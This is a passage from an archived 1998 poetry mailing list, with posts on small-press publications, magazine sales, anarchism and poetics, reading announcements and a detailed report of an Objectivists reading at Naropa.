Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]

~~~
~~~

Karlien van den Beukel Pitch Lake
ISBN No 1 901 361 01 2

Fiona Templeton Oops the Join

Tracy Ryan Slant

These pamphlets cost $8 each and are available from Small Press Distribution:

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tel: [redacted]

People outside the US might find it easier to write to the publisher direct:

Rempress
6 Grasmere Gardens
Cambridge CB4 3DR, UK

↑ Index

605. **Safdie Joseph**
Re: Ad campaigns and poets galore (who score)
Wed 17 Jun 1998

At 3:28 PM -0500 6/16/98, s. kaipa wrote:
>Wasn't it Lew Welch that came up with the ad:
>
>Raid kills bugs dead.
>
>?
>
>
>
>
>
>Summi

Yes, and I always thought the realization that that line would outlive all
his others is what did him in. S.

I don't know, Sylvester . . . there's his poem called "Poetics":

Not many people can do it really well.
Nobody knows why.

Which has stayed with me even longer than the bug spray . . .

(By the way, saw in my latest SPD catalog that there's a new volume of tribute out to him from a new press in Bolinas, Clew - does anyone know of this publication or this press?)

↑ Index

606. **david bromige**
giving up frenchified sex for good
Wed 17 Jun 1998

Gee, Dodie, I didnt know there was anything wrong with frenchified sex. The Others appeared to like it. It was better than or as good as Nothing.

As myself the author of a book titled _Desire_ I rush to the title's defense. (1) The title was arrived at in 1987, one year before your meeting with Jane Gallop (2) I intended not only Lacan theorizing but also Rita Hayworth singing "Put the blame on Mame, boys" as well as some juggling etymology around the phrase "Follow your star" (3) it's a pun on "de-sire", the necessary oedipal move.

However, Frank Bidart's last book of poems is also titled _Desire_ , and it came out in 1997, so sock it to him.

The urge to speak and the urge to procreate appear inextricably tangled up in blues. Even the alphabet shows this, which as we know, in its emphatic form begins "Fucken A".

I understand that in your desire to distinguish your marvelous book from asomeone's quick characterization of it (not even that, really ... just a tentative trying of the water), you likely had no intention upon others' use of the word. But as we see, I couldn't resist. The urge to kid around is a serious urge. Desire me to continue,if you will riposte. db3

↑ Index

607. **ken|n|ing**
Re: Money, poetry, magazines
Wed 17 Jun 1998

Well, I will indeed confirm that Rhizome is a handsome magazine. At the reduced price I don't see why anyone interested in contemporary poetry should let this opportunity pass. Paul Vangelisti's fierce piece, Barbara Guest's sprawling lyric, John Taggart's melancholia Americana, Mark Wallace's quippy stanzas . . . etc. That's my review. Buy the thing & support what is certainly one of the more important annuals running. Patrick F. Durgin

|
|

k e n n i n g``````````````|```````````````````````````````
a newsletter of contemporary |poetry, poetics, and non-fiction writing
|418 Brown St. #10 Iowa City, IA 52245 USA

On Tue, 16 Jun 1998, P.Standard Schaefer wrote:

> *To one and all:*
>
> *This money discussion has been a bit upsetting.*
>
> *That and the fact that I'm staring at 200 copies of Rhizome I'd like to move (money needed for future issues). So I'm going to cut the price from $10 to $6 on the current issue..unless you happen to be an institution. Those of you who have seen the magazine might be able to confirm that it is easy on the eye. Maybe even slick.*
>
> *Off the top of my head: Issue 2 contains Jacques Debrot, John Lowther, Barbara Guest, Ray Di Palma, Nick Piombino, Norma Cole, Bruce Andrews, L. Scalapino, Patrick Pritchet, George Albon, Guy Bennett, Paul Vangelisti, Aaron Shurin, Mac Wellman, Franklin Bruno, Joe Ross, Andrew Mossin, Paul Long, Bob Crosson, David Bromige, Sheila Murphy, Mark Wallace, John Yau, Avery Burns, Nico Vassilakis, Ted Greenwald, B. Mayer, Dennis Phillips. Lot of others, Lots of reviews. Some artwork by some young LA artists as well as Dennis Oppenheim. A couple translations of fiction from Mexico (Fabio Morabito, Jaime Moreno Villareal).*
>
> *If you're interested, send a check for $6 to 366 S.Mentor Ave. #108, Pasedena, CA 91106.....MAKE IT PAYABLE TO S. Schaefer (not rhizome).*
>
> *Very much hope to recover some money so we can get on with the third issue which should be very good...lots of translations from France, Chile, Italy.*
>
> *Standard Schaefer*

↑ Index

608. **Bobbie West**

Re: pre-rejected

Wed 17 Jun 1998

CD wrote:

>>the economics of poetry are certainly as important and no less difficult than the lives of so-called ordinary people and their daily struggles to make a living.....I'd say that the cultural worker's contribution is harder, more demading <<

Have you tried working in a shipyard? A man here had a ton of steel dropped on his legs last week.

↑ Index

609. Karen and Trevor
monthly welcome
Wed 17 Jun 1998

In an effort to save space on my hard-drive, I've deleted all e-mail, including the monthly welcome message that tells us all how to do things, like, go no-mail, which I need to do as I'll be out of town for two weeks...

Would anyone be able to forward that message? Much appreciated.

Karen McKevitt
[redacted]

↑ Index

610. Laura Moriarty
Re: obsesh
Wed 17 Jun 1998

I also always find Bill's obsessions inspiring -

My obsessions lately and have been gardening and walking - I've almost never gardened until the other day when I suddenly began digging away in our tiny white trash back yard and later bought flowers and put them in pots on our cement - My experience has been that husbands garden and one goes to the garden stores with them looking for shade and hazarding opinions - yes get the pink ones - we need basil - I think of myslf as having a black thumb and can kill house plants just by looking at them -

Walking here in Albany is repetitive but, unlike my former walking in SF, almost never uphill - Albany is a mile square - A grid of treed streets with little houses - Everyone has a garden - There are lawn dogs, geese, flamencos, deer, bugs, elves, scarecrows and buddhas - There are five garden stores within walking distance - I actually went to Smith and Hawkens and found myself wanting a faux Roman concrete tub -

BTW - There is a show worth going to at the new Traywick Gallery - Work by Emilie Clark co-editor with Lytle Shaw of a new critical mag Shark - at 1316 Tenth St. at Gilman by Smith and Hawkens, behind REI - for those who know the east Bay - not far from SPD -

PS - I've been white my whole life if Irish counts as white - but I do tan easily -

Laura

[redacted]
http://socrates.berkeley.edu/~moriarty/

↑ Index

611. **linda russo**
Re: Stanford/Wright/Gander
Wed 17 Jun 1998

Aviva & Brent -- Maybe you guys know -- I'm wondering when CD Wright began editing Lost Roads, which I believe she took over after Frank Stanford died. Do you know what year she assumed total editorial responsibilities?

As for Gander, I concur. About 4 years ago (before I knew anything) I wrote a review of _Lynchburg_ for the Harvard Review. Reading now, it's more a record of my discovering poetry than a review of Gander -- The only intelligible thing I said, referring here to "Life of Johnson upside your Head, a libretto" (I called it a "verbal chiaroscuro"): "But what is most remakrable about Gander is his ability to isolate events as though they occur purely within the random constructions of language."

Now I realize that's what events, "isolated" (i.e. written down) do.

The same year I had to give up reviewing Rosmarie Waldrop's _Key to the Language of America_ & now she's a favorite of mine.

Linda Russo
* @ * % * & * # *

with only the sound of the mimeograph "kachucking"
and the pages swishing down . . . (Maureen Owen)

↑ Index

612. **linda russo**
Peter Quartermain
Wed 17 Jun 1998

Does anyone have an e-mail (or other) adress for Peter Quartermain? Thanks.

Linda Russo
* @ * % * & * # *

with only the sound of the mimeograph "kachucking"
and the pages swishing down . . . (Maureen Owen)

↑ Index

613. **toddbaron**
Re: Ad campaigns and poets galore (who score)
Wed 17 Jun 1998

---

absolutely:

but it was simply

KILLS BUGS DEAD

which was a "beat"ized slogan--like, "Dead, man"

He worked for a year at this trade...

Tb
---REMAP

↑ Index

614. **toddbaron**
Re: Money, poetry, magazines
Wed 17 Jun 1998

---

standard:

home address?

Todd Baron

ps: I lost it...

pps: Listservers: excuse the private request...

↑ Index

615. **Annie Finch**
for neilson, hoover, maclow, wallace
Wed 17 Jun 1998

Aldon Nielson, Paul Hoover, Jackson MacLow, and Mark Wallace, please backchannel me ASAP. (My files with your email addresses got erased, and this is urgent).

Thanks.

Annie Finch

_____
_____
_____
Annie Finch
http://muohio.edu/~finchar

Assistant Professor of English/Creative Writing
Miami University
Oxford, Ohio 45220

↑ Index

616. **Bobbie West**
Mike & Dale's 4 sale and Rhizome
Wed 17 Jun 1998

>>SAND IN THE VASELINE, a book of poems by Kevin Opstedal, whose verse carries a streetwise ethic of confrontation and territorial marking to a high level of artistic sophistication.<<

I'll echo Dale's plug.
Check out SAND IN THE VASELINE.
Great work by Kevin Opstedal. Perceptive and finely written, in spite of (or maybe because of) the grit in the title. Dale, how about posting a bit from the book?

****

ALSO: check out Joe Ross's "CACOPHONY: accompaniment" and "ETHEREAL: ground" in Rhizome 2. Excellente!

****

Oh no!
Clarkite and Lang-Po offspring in the same post! Will it explode?!

Bobbie

↑ Index

617. **Brent Long**
Re: Mike & Dale's 4 sale and Rhizome
Wed 17 Jun 1998

Also the title of a great Talking Heads compiliation album.

At 03:06 PM 6/17/98 EDT, you wrote:
>>>SAND IN THE VASELINE, a book of poems by Kevin Opstedal, whose verse
>carries a streetwise ethic of confrontation and territorial marking to a
>high level of artistic sophistication.<<
>
>
>I'll echo Dale's plug.
>Check out SAND IN THE VASELINE.

>Great work by Kevin Opstedal. Perceptive and finely written, in spite of (or
>maybe because of) the grit in the title. Dale, how about posting a bit from
>the book?
>
>**********
>
>ALSO: check out Joe Ross's "CACOPHONY: accompaniment" and "ETHEREAL: ground"
>in Rhizome 2. Excellente!
>
>**********
>
>Oh no!
>Clarkite and Lang-Po offspring in the same post! Will it explode?!
>
>
>
>Bobbie
>
>
[redacted]

↑ Index

618. **trbell**
Re: Anarchy
Wed 17 Jun 1998

"Cruz seeks out the most disparate images, ideas, people, and finds in them confluence, rather then conflict" - quote from SPD's Winter catalog. This struck me for several reasons, not the least of which is my sense that anarchy is confluence after ripping apart rather than just generating conflict. Or am I just being naive or is there another word to describe this?

Tom

At 01:59 PM 6/9/98 -0400, you wrote:
>Perhaps the connection between Mac Low, Cage, and anarchism lies in the
>lack of central authority in the aleatory method. This is the case at
>least I think with some of Cage's works; Mac Low seems more procedural than
>anarchic, but even so, the openness to allowing the formal constraints to
>freely shape the material leaves little room for authorial intention (this
>may not work for Mac Low's "intentional" pieces (Forties, for example,

>written quickly but intentionally)
>
>Dean
>
>

↑ Index

619. **trbell**
Re: Art, Poetry, context
Wed 17 Jun 1998

Being situated in the context of "art" does clearly lead to more visibility (and remuneration), but I've enver been able to clearly understand exactly why this should be. Ther are many people who simply don't like to read and think in left-brain fashion (or have difficulty doing so), but there are other (important!) elements of poetry which are not left-brained. Poetry did and does go through a caldron in it's school and academic presentations, but art sufferers some of the same presentation woes and the art/poetry diathesis exists beyond our twentieth-century English-language cave, I think. This leaves snobbism as an explanation, I think, but I would hope that it isn't a sufficient explanation.

tom bell
seem to be psychologising tonite, sorry!

At 01:28 PM 6/16/98 EDT, you wrote:
>I was just recently reading a Kathy Acker interview in which she objects to a
>characterization of her work as marginal. She compares herself to the
>Language poets & says that the difference, politically, between her work &
>theirs is that she confronts people who don't support her work, that she
comes
>into contact, for example, with the religious right -- that they actually know
>who she is & militate against her, & attempt to disrupt her readings, etc. By
>contrast, the marginality of poetry makes political claims extremely
>problematic, though I'm aware of many persuasive arguents to the contrary.
>It's interesting to see, however, how essentially "poetic" work in the visual
>arts -- David Bunn's recent collaged texts from library catalogue cards,
>Lawrence Weiner's stuff, Holzer, Kruger, some of Nauman's & Smithson's
things,
>etc., etc. -- by situating themselves in the context of "art" -- almost
>entirely by that enunciative act alone -- seem to transcend the marginal
>status of poetry & enter into the world in a more visible way than poems do. &
>this has to do not only (negatively) with the availability of the plastic
>arts for exploitation as commodities, but (positively) with the international

>character of the art world -- so ventures like Douglas Messerli's new mag seem
>a step in the right direction. Re: some comments Standard made today --
>certainly craft & politics are not antithetical terms -- highly crafted &
>aestheticized work -- Mapplethorpe's for instance -- in the context of Helms
>attacks, can be explosively political, whereas, for instance, if they had
>merely a closeted or marginal audience, their politics might perhaps be
>questionable. Both craft & politics in any case have much wider connotations
>than we generally attribute to them.
>
>

↑ Index

620. **trbell**
Re: Poetry art contest
Wed 17 Jun 1998

"art" does carry a cachet that "poetry" does seem to lack. Is this

A. Not as left-brain (and difficult or unpleasant for many)? There are imporant and fun right-brain aspects to poetry.

B. Did not suffer as much in it's "school-days" presentation? This is not just a twentieth-century English-speaking sistinction.

C. Snobbism.

D.?

I would hate to think that "snobbism" is the major reason for the preference, help.

tom bell
seem to be psychologizing tonite, sorry.
On 1/16 Jacques Debrot <[redacted]> wrote:
>I was just recently reading a Kathy Acker interview in which she objects to a
characterization of her work as marginal. She compares herself to the
Language poets & says that the difference, politically, between her work &
theirs is that she confronts people who don't support her work, that she comes
into contact, for example, with the religious right -- that they actually know
who she is & militate against her, & attempt to disrupt her readings, etc. By
contrast, the marginality of poetry makes political claims extremely
problematic, though I'm aware of many persuasive arguents to the contrary.
It's interesting to see, however, how essentially "poetic" work in the visual
arts -- David Bunn's recent collaged texts from library catalogue cards,
Lawrence Weiner's stuff, Holzer, Kruger, some of Nauman's & Smithson's

things,
etc., etc. -- by situating themselves in the context of "art" -- almost entirely by that enunciative act alone -- seem to transcend the marginal status of poetry & enter into the world in a more visible way than poems do. & this has to do not only (negatively) with the availability of the plastic arts for exploitation as commodities, but (positively) with the international character of the art world -- so ventures like Douglas Messerli's new mag seem a step in the right direction. Re: some comments Standard made today -- certainly craft & politics are not antithetical terms -- highly crafted & aestheticized work -- Mapplethorpe's for instance -- in the context of Helms attacks, can be explosively political, whereas, for instance, if they had merely a closeted or marginal audience, their politics might perhaps be questionable. Both craft & politics in any case have much wider connotations than we generally attribute to them.
>

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621. **R. Gancie**
raw numbers
Wed 17 Jun 1998

"The opinion that cognitive connections can be found in the real world only as far as qualitative determinations are reduced to quantitative ones, which asserted itself in modern times in opposition to Aristotle's philosophy, has assumed fundamental importance for natural science. This is Kepler's succinct formulation, "Ut oculus ad colores, auris ad sonos, ita mens hominis non ad quaevis sed ad quanta intelligenda condita est. ["Just as the eye has been formed for color and the ear for sound, so the mind of a man is not formed for whatever you please but is formed for quantities"]. The STANDARD of our knowledge is found in its approximation to the "NUDAE QUANTITATES" ["RAW NUMBERS" or "$BUCK$ NEKED BYTES"]. Galileo enunciates the principle, "to measure what is measurable and to try to render measurable what is not so as yet." A splendid illustration of the second part of this postulate is his invention of the thermometer."---from Philosophy of Mathematics and Natural Science by Hermann Weyl with apologies --- "My thermostat has three beliefs; it's too hot in here; it's too cold in here; it's just right in here."---John McCarthy, Artificial Intelligence Guru and the recipient of more research [e.g. tax & corporate] money than all of the combined members on this list will see in a dozen lifetimes---cp

↑ Index

622. Mark W Scroggins
Louis Zukofsky
Wed 17 Jun 1998

Dear Listfellows:

I'm back, after several weeks offlist (the vacation was great, by the way). I'm in the process of preparing a literary biography of Louis Zukofsky, and I'd appreciate hearing (backchannel, of course) from any listmembers who knew or corresponded with Zukofsky. I'd also appreciate anyone who might have them backchanneling me with a few addresses:

Robert Kelly
Armand Schwerner
Hugh Seidman
Michael Heller

And of course, if anyone knows of any caches of Zukofsky correspondence/manuscripts outside of the big collections at Texas and Yale, I'd appreciate that as well.

Wish me luck, and thanks in advance!
Mark Scroggins

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623. Christopher Reiner
Knife and Fork reading
Wed 17 Jun 1998

There was a reading at Sun & Moon's storefront in L.A. on Sunday, to celebrate the publication of the first issue of MR. KNIFE AND MISS FORK--a new journal, edited by Douglas Messerli, that focuses on international poetry. Paul Vangelisti read his translation of poems by Andrea Zanzotto "(THAT) (IT GROW)" and Amelia Rosselli (from _War Variations_--translated with Lucia Re). Julian Semilian read two poems by the Romanian poet Stafan Agustin Doinas (translated with Sanda Agalidi). Michael Henry Heim (who just received a PEN award) read from "A Not-So-Brief Reflection on an Edict" by Miroslav Holub (Czech Republic). Gilbert Alter-Gilbert read his translation of "Manifesto Mayhaps" by Vincente Huidobro. Guy Bennett read his translation of Jacques Roubaud's short essay "About" in which the poet reads his book _Everybody's animals_ to a class of third graders. And Will Alexander read his essay, "The Caribbean: Language as Translucent Imminence."

The journal itself has been mentioned in a couple posts lately, but it couldn't hurt to mention it again. It's a great new project. Tell your local librarian to

subscribe. And make sure your local bookstore keeps in stock. $10.95. ISBN 1-55713-345-X

--Chris Reiner

WITZ: A Journal of Contemporary Poetics
writing.upenn.edu/epc/ezines/witz
www.litpress.com/witz

↑ Index

624. **dbkk**

B. Watten ends SPT season

Wed 17 Jun 1998

For our final reading of the Small Press Traffic 97-98 season, we are happy to present Barrett Watten. We'll start up again in September. Thanks to all of you attendees and volunteers for making this work.

Dodie

Friday, June 19, 7:30 p.m.
Barrett Watten
New College Cultural Center
766 Valencia Street
$5

Barrett Watten is the author, most recently, of Bad History (Atelos Press, 1998) and the co-editor of Poetics Journal, whose recent issue appears this spring. His collection Frame: 1971-1990 came out in 1997 from Sun & Moon Press, and collects seven earlier collections. He is also the author of two book-length poems, Progress (1985) and Under Erasure (1992), and co-author of Leningrad: American Poets in the Soviet Union (1992). A recent issue of Aerial is devoted to his work. Total Syntax, a collection of essays on modern and contemporary poetics, was published in 1984 by Southern Illinois University Press. He is currently working on two book projects: Horizon Shift: Progress and Negativity in American Modernism and New Meaning: Innovation in Modern and Postmodern Culture. He teaches modernism and cultural studies in the Department of English, Wayne State University, Detroit. He may roam far from home, but whenever we see the Oakland Bay Bridge we think of Barrett Watten. "Welcome back, welcome back. Welcome back."

↑ Index

625. **morpheal**
Re: Knife and Fork reading
Wed 17 Jun 1998

> *There was a reading at Sun & Moon's storefront in L.A. on Sunday, to celebrate the publication of the first issue of MR. KNIFE AND MISS FORK--a new journal, edited by Douglas Messerli, that focuses on international poetry.*

I have not read or seen that anthology, but....."knife and fork" usually refers to an economic condition where all there is work for food and nothing more. The kind of mentality where there is no art or culture to speak of, but if your belly is full of food in the evening after a day of work, it means there was work to be thankful for, and that that is all that is possible. That being the same as the phrase:"knife and fork mentality".

It is a condition somewhat uncommon in much of North America, but not quite so uncommon in many other parts of the world.

Is that the implication in that context ? Or is it somewhat different and perhaps more obscure ?

M.

↑ Index

626. **morpheal**
Re: an institutionalized avant garde
Wed 17 Jun 1998

> *Gwendolyn MacEwen,*

Ah the Canadian poet whom Milton Acorn (another Canadian poet) was so in love with. They never quite got it together. She ended up committing suicide, and he died not that long after, of cancer, after returning to the east coast.

One of the saddest, most tragic, love stories, in Canadian literature.

Both were exceptional poets. Both gave away most of their poetry, to people on the street and in similar venues, in the days long before the Internet.

M.

↑ Index

627. **Christina Fairbank Chirot**

Re: [Re: Anarchy]&Elizam Escobar

Wed 17 Jun 1998

---

mANY THANKS FOR THE EXCELLENT QUOTES AND INFORMATION--

"BEATING THE HEAD AGAINST THE WALL"--Gilles Deleuze in a late essay on writing wrote about this--that one must beat the head against the wall--

(recall the scene in Raging Bull when Jake LaMotta (Rbt de Niro beats his head against the wall and realizes: "I am not an animal! I am not an animal!" De Niro then breaks his way into language--recitations of poetry and scenes from plays--on stage "where this bull here can rage")

the connections between violence and language are interesting--

many years ago in a country far away I had the opportunity to throw some anarchist bombs (in to empty police vehicles)--and later moved on to graffiti--now writing, visual poetry and mail art--

anarchism is not purely aleatory at all--

the great jazz musician Don Cherry often pointed out that to play Free Jazz one required great discipline

(Mac Low is in this line--the disciplined thinking out,practice, study. then the conjunctions with the seemingly aleatory--ditto with Cage)

anarchists, pacifist or violent, are suppressed in part because they call continually into question the norms imposed by societies, arts, institutions, which create norms and rules that pose as virtuous in the name of preserving heirarchies which from time to time reshuffle the names, while retaining the forms--

"yet the clouds still move . .. "

chaos theory? Prigogine & Stenders' Order out of Chaos?

the Eternal Network of mail art?

"the world as we see it is passing"

--dbc

On Tue, 9 Jun 1998, Christian Roess wrote:

> [redacted] *wrote:*
>
> *Anarchism continues to have a strong input in poetic, visual and theoretical practices all over the world--*
>
> *the areas of visual poetry and mail art especially*
>
> *there are hundreds of journals, web sites, events going on which are anarchist*

yes there are many forms of anarchism
that is the point
"l'imagination au pouvoir"
-dave baptiste chirot
some other great anarchist writers: Thoreau, Blake, Whitman, Emma Goldman . ..

Thus is order insured: some have to play the game because they cannot otherwise live, and those who could live otherwise are kept out because they do not want to play the game." - Adorno

"My practicality consists in this, in the knowledge that if you beat your head against the wall it is your head which breaks and not the wall... that is my strength, my only strength." - Gramsci

****

Another point of departure for the subject of anarchy (and the supplemental role our government played in its use of chemical weapon's in Vietnam) would be the case of Elizam Escobar, painter, poet, and contributing/associate editor of the magazine Left Curve. Perhaps Manuel Brito would like to contact him.(I know his question is directed toward the 1960's poetry scene, but perhaps he could write to him and ask him if he feels like he beat his head against the wall but now is forced to let poetry do it for him? I mean who breaks down wall really,poetry(not the poet) or the anarchist? Who is full of (aka Yeats) 'passionate' intensity? The best lack all conviction? .)I can't comment on the two poems I've read of his, but his essays and paintings(seen some on the website and in a magazine) warrant our attention. He can be reached at the Maximum Security prison in El Reno, Oklahoma, where he is serving out a 68 year prison term. Anyone know about this guy?
========

I have only know about Elizam Escobar #88969-024 for about one month, but I am having trouble understanding what the U.S. government's role in his arrest and incarceration is? This case seems as insidious as the use of chemical weapons on our own citizens.

==========
Quoting from a web page devoted to him:

His paintings have been exhibited in New York, Chicago, Philadelphia and in more than 10 Puerto Rican cities. The paintings he created in jail are currently being exhibited throughout the United States.

His works have been published in several magazines including Beginnings and

> *Currents. He published a series in De Pie y En Lucha and soon will finish a collection entitled The Onthological War Against the Art Market: An Act of Liberation. His works have also appeared in the Anthology of Latino Poets in New York. Some of his more recent illustrations can be found in Cuadernos de Poetica, published in the Dominican Republic. Quimera Editors published his book, Speech in the Night and Sonia Semenovena, while another article appeared in the art magazine, Left Curve.[http://www.wco.com/~leftcurv]*
>
> *Since April 4, 1980 Elizam has been serving a 68-year prison sentence, accused of seditious conspiracy. He was later accused of being a member of the Armed Forces of Puerto Rican National Liberation (FALN).*
> *==========*
> *Maybe Manuel Brito could get some interesting responses to the project he is working on by hooking up to these sites, which gives Elizam Escobar's address in Prison, and if you are editing a book of some kind on this subject maybe Elizam Escobar #88969-024 would contribute a piece, from the Belly of the Beast, so to speak).*
>
> *==========*
>
> *If your like me you may n*
>
> ---
> *Get free e-mail and a permanent address at http://www.netaddress.com/?N=1*

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628. **Pritchett,Patrick**
Re: Objectivists at Naropa (long post)
Wed 17 Jun 1998

Tuesday evening at Naropa was the occasion for one of the more memorable readings heard by your humble reporter, made so by all there, but particularly by the presence of Carl Rakosi and the ghostlier demarcations of Lorine Niedecker. But first things first.

Michael Heller began the evening by proclaiming that "we are all here to celebrate Carl Rakosi." He then read from his new (and highly recommended book) _Wordflow_ , starting with "Figures of Speaking."

"The beauty of the older poet's voice
Punishes me.

What is beautiful must
Or one doesn't believe it."

And from "Heteroglossia on 53rd St.":

"The language falls
A chunk of disembodied sound through space."

New work included the lovely "The Chronicle Poet" - "Nothing impedes thought's passage more than an unuttered word" - and "Meditations on the Ba," inspired by a sculpture of the Egyptian death-bird the poet saw when visiting Freud''s home in London. "Imagine if were to awaken to another language." And from "Diasporic Conundrums" - "those legibilities constant with the self ... we are the impossibles of these wants."

Heller concluded with more from _Wordflow_ : "Lecture with Celan," "Without Ozymandias," "Classical Theme," and "At The Muse's Tomb":

"What was truth?

The plangent lucidity, the glass through which the light flowed."

Heller's beautifully calm and polished cadences describe the arc of a rare and delicious economy. At once grave and uplifting, these poems are serene meditations on time, decay, memory, loss -- the slippage of language and the poetics of desire (of eros) to provide or secure some sense of self against the perpetual undertow of events, of the listing body itself. They suggest, in the most elegant way, that form is perhaps nothing more than the enactment of our anxiety about time.

***

Jenny Penberthy took the stage next - and dazzled us all with a multi-media presentation on Lorine Niedecker. She began by reading Part Five of "Progression" - hitherto unpublished - it's the opening poem in Mary Sloan's _Moving Borders_ anthology. This poem, explained Jenny, had languished in Pound's Papers (collected I forget where). Niedecker had sent it to him along with a very illuminating cover letter. Pound apparently began editing them (that got a good laugh) but gave up half way through and evidently never replied to her (another laugh, more rueful than the first).

Then came a slide show - photos of the most marvelous book in existence I should think - entitled "I fly my rounds, tempestuous." It's a 1935 monthly calendar, bound by a ribbon at the top, in which every page offers some homely platitude in its center, surrounded by the days of the month. Niedecker cut and pasted a blank piece of paper over the platitude and wrote her own poems in their place. (Actually, Penberthy thinks she wrote them first, then pasted them on). The book was sent to Zukofsky as a Xmas gift in 1934. Here are some samples (I understand some or all of this has been printed in Sulfur two issues back):

Wade all life
backward to
its course
which runs too
far ahead.

_____

To give heat
is within the
control of every
human being.

_____

The satisfactory thing
is to keep revolving.

_____

I talk at
the top of
my white
resignment.

_____

I like a
loved one to
be apt in
the wing.

_____

Jesus, I'm
going out
and throw my
arms around.

_____

These are poems so good they can move one to tears and beyond that what is there to say? Except that they are charged with the gnomic - pure oneiric utterance.

To close, Penberthy played the only known recording of Niedecker reading her work, made by Cid Corman when she was 67. It includes most of _Harpischord and Salt Fish_. And about a minute of an interview he conducted with her before the vagaries of literary history swooped down and the tape ran out. She sounded like my Midwestern grandmother - high, sweet, almost dainty, yet with an underlying exactness as true as steel. And it was a weird delight to sit in that dark, still, crowded auditorium, rapt by the tinny scratchy tape of her voice.

****

That's a tough act to follow. But Rachel Blau DuPlessis did it and did it with real bravura. I confess at once that she's one of my favorite poets. Rachel began with a new Draft called "Renga" --- "stand still under the hemisphere of night" --- "multiple registers that travel to the serif of one letter" --- "at the edges everything's midrush, midrash" --- "yesterday I had a diaristic impulse but it didn't work out did it?" --- "oculist or occultist? Agitated or anointed? Your call."

This was followed by Draft 25 - Segno, from _The Fold_, which she described as involving a signifyin' on a signifyin' by Oppen. And Draft 26 - M-m-ry, which incorporates the language of official rejection from the kind folks who oversee the Freedom of Information Act. All of these motifs working within the overall practice of citation and self-citation that comprise a major theme of the Drafts.

"Of living in a landscape whose flaring cries
        are not sound, are
                cries not to be cried
but atmosphere, ache and el,
        their world-renowned interface
to be remembered as such.
        A task deep within restlessness.
                And thus the story, o

the story ---- "

DuPlessis's laddered music, her stepped cadences and sibilants, have a post-medieval glow to them somehow. Compacted fragments from a lost primeval bestiary of The Word, rolled into pearled utterance, broken across the page in pageant -- sinuous recoil and redoubling curve of blinkering sense and sound. The enactment of form forms the thought of form. A shimmering. Feint and pump. A lyric rush that constantly breaks form and faith with itself in order to re-establish itself at a different pitch. Song as question mark, as rupture, as dislocation and relocation. As re-alottment and recuperation of the possibilities of song. A decoding of accepted boundaries. And as Hank Lazer puts it, "an epistemological inquiry." Into thrust ratios, carrier waves, originary locii and tertiary hinges.

She closed with Draft 36 - Cento (soon to appear in "Chain"). Here the practice of self-citation figured largely as the plan of the poem involves drawing every line third line from an earlier Draft. (Cento - a patchwork in which every line is cited, but at 99 lines in length, also a pun on Cento = hundred). The poem is scattered with phrases from French, which Rachel speaks, and from Russian, Hebrew and Esperanto, which she does not.

"Like everyone else I'm attracted to words that end in -ette.
Rockette, majorett, poet."
(And ad lib: "that's for all your girls out there.")

"Inside the unsayable grumble hungry phonemes."

And quoting Rakosi:
"Dazed amid the world, the real world, 'the real real world'."

***

I've now gone on entirely too long, but bear with me a little while yet.

Anselm Hollo introduced Carl Rakosi by describing him "as absolutely contemporary as ever."

And Rakosi, looking dapper and sweet - he has one of the most beautiful faces I've ever seen - started out by saying: "When I stand here, I stand here as a performer. The poet is home in the book."

Following are various snippets from his most recent work (the linebreaks are mine - apologies to all for my wild surmise):

"Satyricon"
Guess what?
Little pygmies from the business world
have taken over Congress
with a mission to scuttle
social welfare.

——

All that's left is irony,
which is best served like chardonnay,
with cold crab and grilled words.

"Modern Narrative"
By the water of Babylon I sat down and wept
with shoemakers son, Thomas Traherne ...

"Corporate Men"
Maxwell, a self-made man
who loves his creator

Dulcimer, the celebrated poet.
A sheep in sheep's clothing.

"The Ballad of the Diminished I"
Where is fancy bred?
In the quiddity of the sparrow
in my yard.

When shall we be safe?
When the crocodile lies down with the dove.

And the design of the universe?
The fate of man?
Pending.

"Ode to a Nightengale"
Such claims for this little bugger!
Where is he?
I've never seen him.
. . .

Maybe off to see
the St. Louis Cardinals?

. . .

The barber's big ass girl walks by --
Some nightengale!

"Country Epitaphs"
The widow Benson was brief:
Gone, but not forgiven.

___

I told you I was sick.

___

On the whole, I'd rather be in Philadelphia.

___

They don't make Jews like Jesus anymore.

Simple poems - simple and full of delight. And as easy and graceful and light as though they were turned on a lathe. Appropriate distillation, from a lifetime's devotion to poetry.

Thanks for reading this far. I'll keep future posts rather briefer. (If only for the sake of my sanity - and job security).

Patrick Pritchett

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629. **maz881**
Re: Oops & Obsession
Wed 17 Jun 1998

Yes Karen. go ahead. i was never very good at context.

re: the last time the list discussed appropriation (chip & dale's younger poets issue) wasn't it "decided" that each of our words posted to this list were our intellectual property as if printed with the little c circle mark next to it? i didn't register my disagreement with this general "decision" at the time.

also i wonder, is it appropriation if you have to ask?

Bill Luoma

<<Date: Tue, 16 Jun 1998 20:50:51 -0700
From: Karen Kelley <[redacted]>
Subject: Oops & Obsession

I inadvertently deleted the letter before I reread the author, but not before I wrote down the line, which I submit as best-out-of-context-line-of-the-week (oh wait, I just remembered: it was Bill Luoma). Anyhow:

Another structure I think about is what I call a "skirt."

Can I use this, Bill?

Other listees: would you be offended by an appropriation like that? It doesn't represent the larger concept of Bill's paragraph, which I WOULD feel weird about appropriating, but how about single prosy lines (vs. perhaps more overtly "poetic" lines--say, containing a metaphor)?

Appropriation is *my* obsession.>>

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630. **maz881**

Re: Ad campaigns and poets galore (who score)

Wed 17 Jun 1998

> *Date: Tue, 16 Jun 1998 20:15:47 -0400*
> *From: sylvester pollet <[redacted]>*
> *Subject: Re: Ad campaigns and poets galore (who score)*
>
> *At 3:28 PM -0500 6/16/98, s. kaipa wrote:*
> *Wasn't it Lew Welch that came up with the ad:*
>
> *Raid kills bugs dead.*
>
> *?*
>
> *Summi*
>
> *Yes, and I always thought the realization that that line would outlive all his others is what did him in. S.*

I don't know, mr Pollet. I always think of mr welch with this line in mind:

where ring is what a phone does

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631. **Safdie Joseph**
Re: where's the poetry? (Don't ask Derrida)
Wed 17 Jun 1998

The long-running thread about politics and poetry and their uneasy coexistence or doubling has reached a very subtle and high level, it seems to me, with the latest posts of Standard and Mike and Henry and Dan. I thank them all for their cogency! (Soon it will all be forgotten and we'll go back to ground zero, of course . . .)

What follows are a few paragraphs from "The Politics of Jacques Derrida" in the June 25 issue of the New York Review of Books, which speak to my . . . uneasiness . . . about severing that link.

